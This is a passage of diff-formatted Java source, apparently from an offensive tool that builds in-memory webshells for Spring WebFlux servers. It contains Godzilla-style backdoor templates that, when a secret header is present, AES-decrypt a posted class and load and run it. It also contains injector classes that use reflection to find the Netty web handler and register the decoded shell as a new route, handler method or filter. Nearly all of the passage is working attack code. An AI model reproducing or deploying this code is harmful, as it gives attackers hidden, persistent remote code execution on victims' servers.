String value = request.headers().firstHeader(headerName);
|
||||||
|
if (value == null || !value.contains(headerValue)) {
|
||||||
|
return Mono.empty();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object bufferStream = request.formData().flatMap(map -> {
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
try {
|
||||||
|
byte[] data = base64Decode(map.getFirst(pass));
|
||||||
|
data = x(data, false);
|
||||||
|
if (payload == null) {
|
||||||
|
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
|
||||||
|
} else {
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = payload.getDeclaredConstructor().newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(data);
|
||||||
|
f.equals(request);
|
||||||
|
result.append(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||||
|
result.append(md5.substring(16));
|
||||||
|
}
|
||||||
|
} catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
return Mono.just(result.toString());
|
||||||
|
});
|
||||||
|
return ServerResponse.ok().body(bufferStream, String.class);
|
||||||
|
} catch (Exception ex) {
|
||||||
|
return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object encoder = base64.newInstance();
|
||||||
|
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+114
@@ -0,0 +1,114 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springwebflux.godzilla;
|
||||||
|
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
|
import reactor.core.publisher.Mono;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/25
|
||||||
|
*/
|
||||||
|
public class GodzillaHandlerMethod extends ClassLoader {
|
||||||
|
public String key = "{{key}}";
|
||||||
|
public String pass = "{{pass}}";
|
||||||
|
public String md5 = "{{md5}}";
|
||||||
|
public String headerName = "{{headerName}}";
|
||||||
|
public String headerValue = "{{headerValue}}";
|
||||||
|
public Class<?> payload;
|
||||||
|
|
||||||
|
public GodzillaHandlerMethod() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaHandlerMethod(ClassLoader parent) {
|
||||||
|
super(parent);
|
||||||
|
}
|
||||||
|
|
||||||
|
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
|
||||||
|
String value = exchange.getRequest().getHeaders().getFirst(headerName);
|
||||||
|
if (value == null || !value.contains(headerValue)) {
|
||||||
|
return ResponseEntity.notFound().build();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object bufferStream = exchange.getFormData().flatMap(map -> {
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
try {
|
||||||
|
byte[] data = base64Decode(map.getFirst(pass));
|
||||||
|
data = x(data, false);
|
||||||
|
if (payload == null) {
|
||||||
|
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
|
||||||
|
} else {
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = payload.getDeclaredConstructor().newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(data);
|
||||||
|
f.equals(exchange.getRequest());
|
||||||
|
result.append(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||||
|
result.append(md5.substring(16));
|
||||||
|
}
|
||||||
|
} catch (Exception ex) {
|
||||||
|
result.append(ex.getMessage());
|
||||||
|
}
|
||||||
|
return Mono.just(result.toString());
|
||||||
|
});
|
||||||
|
return ResponseEntity.ok(bufferStream);
|
||||||
|
} catch (Exception ex) {
|
||||||
|
return ResponseEntity.ok(ex.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object encoder = base64.newInstance();
|
||||||
|
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+123
@@ -0,0 +1,123 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springwebflux.godzilla;
|
||||||
|
|
||||||
|
import org.springframework.core.io.buffer.DataBuffer;
|
||||||
|
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
|
||||||
|
import org.springframework.util.MultiValueMap;
|
||||||
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
|
import org.springframework.web.server.WebFilter;
|
||||||
|
import org.springframework.web.server.WebFilterChain;
|
||||||
|
import reactor.core.publisher.Mono;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/25
|
||||||
|
*/
|
||||||
|
public class GodzillaWebFilter extends ClassLoader implements WebFilter {
|
||||||
|
public String key = "{{key}}";
|
||||||
|
public String pass = "{{pass}}";
|
||||||
|
public String md5 = "{{md5}}";
|
||||||
|
public String headerName = "{{headerName}}";
|
||||||
|
public String headerValue = "{{headerValue}}";
|
||||||
|
public Class<?> payload;
|
||||||
|
|
||||||
|
public GodzillaWebFilter() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaWebFilter(ClassLoader parent) {
|
||||||
|
super(parent);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
|
||||||
|
String value = exchange.getRequest().getHeaders().getFirst(headerName);
|
||||||
|
if (value == null || !value.contains(headerValue)) {
|
||||||
|
return chain.filter(exchange);
|
||||||
|
}
|
||||||
|
return exchange.getResponse().writeWith(getPost(exchange));
|
||||||
|
}
|
||||||
|
|
||||||
|
private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
|
||||||
|
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
|
||||||
|
return formData.flatMap(map -> {
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
try {
|
||||||
|
byte[] data = base64Decode(map.getFirst(pass));
|
||||||
|
data = x(data, false);
|
||||||
|
if (payload == null) {
|
||||||
|
payload = (Class) new GodzillaWebFilter(this.getClass().getClassLoader()).Q(data);
|
||||||
|
} else {
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = payload.getDeclaredConstructor().newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(data);
|
||||||
|
f.equals(exchange.getRequest());
|
||||||
|
result.append(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||||
|
result.append(md5.substring(16));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object encoder = base64.newInstance();
|
||||||
|
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public Class<?> Q(byte[] cb) {
|
||||||
|
return super.defineClass(cb, 0, cb.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+165
@@ -0,0 +1,165 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springwebflux.injector;
|
||||||
|
|
||||||
|
import org.springframework.util.Base64Utils;
|
||||||
|
import org.springframework.web.reactive.function.server.*;
|
||||||
|
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/25
|
||||||
|
*/
|
||||||
|
public class SpringWebFluxHandlerFunctionInjector {
|
||||||
|
|
||||||
|
static {
|
||||||
|
new SpringWebFluxHandlerFunctionInjector();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public SpringWebFluxHandlerFunctionInjector() {
|
||||||
|
try {
|
||||||
|
Object webHandler = getWebHandler();
|
||||||
|
Object functionObj = getShell();
|
||||||
|
inject(webHandler, functionObj);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getWebHandler() throws Exception {
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||||
|
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||||
|
Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
|
||||||
|
Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
|
||||||
|
return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getShell() throws Exception {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
Object interceptor = null;
|
||||||
|
try {
|
||||||
|
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
interceptor = clazz.newInstance();
|
||||||
|
}
|
||||||
|
return interceptor;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public void inject(Object webHandler, Object functionObj) throws Exception {
|
||||||
|
Object handler = getFieldValue(webHandler, "delegate");
|
||||||
|
List<Object> handlerMappings = (List<Object>) invokeMethod(handler, "getHandlerMappings", null, null);
|
||||||
|
RouterFunctionMapping routerFunctionMapping = null;
|
||||||
|
for (Object handlerMapping : handlerMappings) {
|
||||||
|
if (handlerMapping.getClass().getName().contains("RouterFunctionMapping")) {
|
||||||
|
routerFunctionMapping = (RouterFunctionMapping) handlerMapping;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
RouterFunction<?> routerFunction = routerFunctionMapping.getRouterFunction();
|
||||||
|
RouterFunction<ServerResponse> newRouterFunction = RouterFunctions.route(RequestPredicates.path(getUrlPattern()), ((HandlerFunction) functionObj));
|
||||||
|
|
||||||
|
if (routerFunction == null) {
|
||||||
|
routerFunction = newRouterFunction;
|
||||||
|
RouterFunctions.changeParser(routerFunction, routerFunctionMapping.getPathPatternParser());
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
// 缺陷,没法遍历所有的 RouterFunction 来进行判断,所以一个服务每一次注入都尽量更改 urlPattern
|
||||||
|
HandlerFunction<?> handlerFunction = (HandlerFunction<?>) getFieldValue(routerFunction, "handlerFunction");
|
||||||
|
if (handlerFunction.getClass().getName().equals(getClassName())) {
|
||||||
|
System.out.println("routerFunction already injected");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
routerFunction = newRouterFunction.andOther(routerFunction);
|
||||||
|
}
|
||||||
|
Field field = routerFunctionMapping.getClass().getDeclaredField("routerFunction");
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(routerFunctionMapping, routerFunction);
|
||||||
|
System.out.println("routerFunction inject successful");
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
|
Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Field field = null;
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
field = clazz.getDeclaredField(name);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (field == null) {
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
} else {
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+157
@@ -0,0 +1,157 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springwebflux.injector;
|
||||||
|
|
||||||
|
import org.springframework.util.Base64Utils;
|
||||||
|
import org.springframework.web.method.HandlerMethod;
|
||||||
|
import org.springframework.web.reactive.result.method.RequestMappingInfo;
|
||||||
|
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
|
||||||
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Collection;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/25
|
||||||
|
*/
|
||||||
|
public class SpringWebFluxHandlerMethodInjector {
|
||||||
|
|
||||||
|
static {
|
||||||
|
new SpringWebFluxHandlerMethodInjector();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public SpringWebFluxHandlerMethodInjector() {
|
||||||
|
try {
|
||||||
|
Object webHandler = getWebHandler();
|
||||||
|
Object handlerMethod = getShell();
|
||||||
|
inject(webHandler, handlerMethod);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getWebHandler() throws Exception {
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||||
|
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||||
|
Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
|
||||||
|
Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
|
||||||
|
return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getShell() throws Exception {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
Object interceptor = null;
|
||||||
|
try {
|
||||||
|
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
interceptor = clazz.newInstance();
|
||||||
|
}
|
||||||
|
return interceptor;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public void inject(Object webHandler, Object handlerMethod) throws Exception {
|
||||||
|
Object handler = getFieldValue(webHandler, "delegate");
|
||||||
|
List<Object> handlerMappings = (List<Object>) invokeMethod(handler, "getHandlerMappings", null, null);
|
||||||
|
RequestMappingHandlerMapping requestMappingHandlerMapping = null;
|
||||||
|
for (Object handlerMapping : handlerMappings) {
|
||||||
|
if (handlerMapping.getClass().getName().contains("RequestMappingHandlerMapping")) {
|
||||||
|
requestMappingHandlerMapping = (RequestMappingHandlerMapping) handlerMapping;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Collection<HandlerMethod> values = requestMappingHandlerMapping.getHandlerMethods().values();
|
||||||
|
Method method = handlerMethod.getClass().getMethod("invoke", ServerWebExchange.class);
|
||||||
|
for (HandlerMethod value : values) {
|
||||||
|
if (value.getMethod().equals(method)) {
|
||||||
|
System.out.println("handlerMethod already injected");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
|
||||||
|
invokeMethod(requestMappingHandlerMapping, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handlerMethod, method, requestMappingInfo});
|
||||||
|
System.out.println("handlerMethod inject successful");
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
|
Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Field field = null;
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
field = clazz.getDeclaredField(name);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (field == null) {
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
} else {
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+136
@@ -0,0 +1,136 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springwebflux.injector;
|
||||||
|
|
||||||
|
import org.springframework.util.Base64Utils;
|
||||||
|
import org.springframework.web.server.WebFilter;
|
||||||
|
import org.springframework.web.server.handler.DefaultWebFilterChain;
|
||||||
|
import org.springframework.web.server.handler.FilteringWebHandler;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/24
|
||||||
|
*/
|
||||||
|
public class SpringWebFluxWebFilterInjector {
|
||||||
|
|
||||||
|
static {
|
||||||
|
new SpringWebFluxWebFilterInjector();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public SpringWebFluxWebFilterInjector() {
|
||||||
|
try {
|
||||||
|
FilteringWebHandler webHandler = getWebHandler();
|
||||||
|
Object filter = getShell();
|
||||||
|
inject(webHandler, filter);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
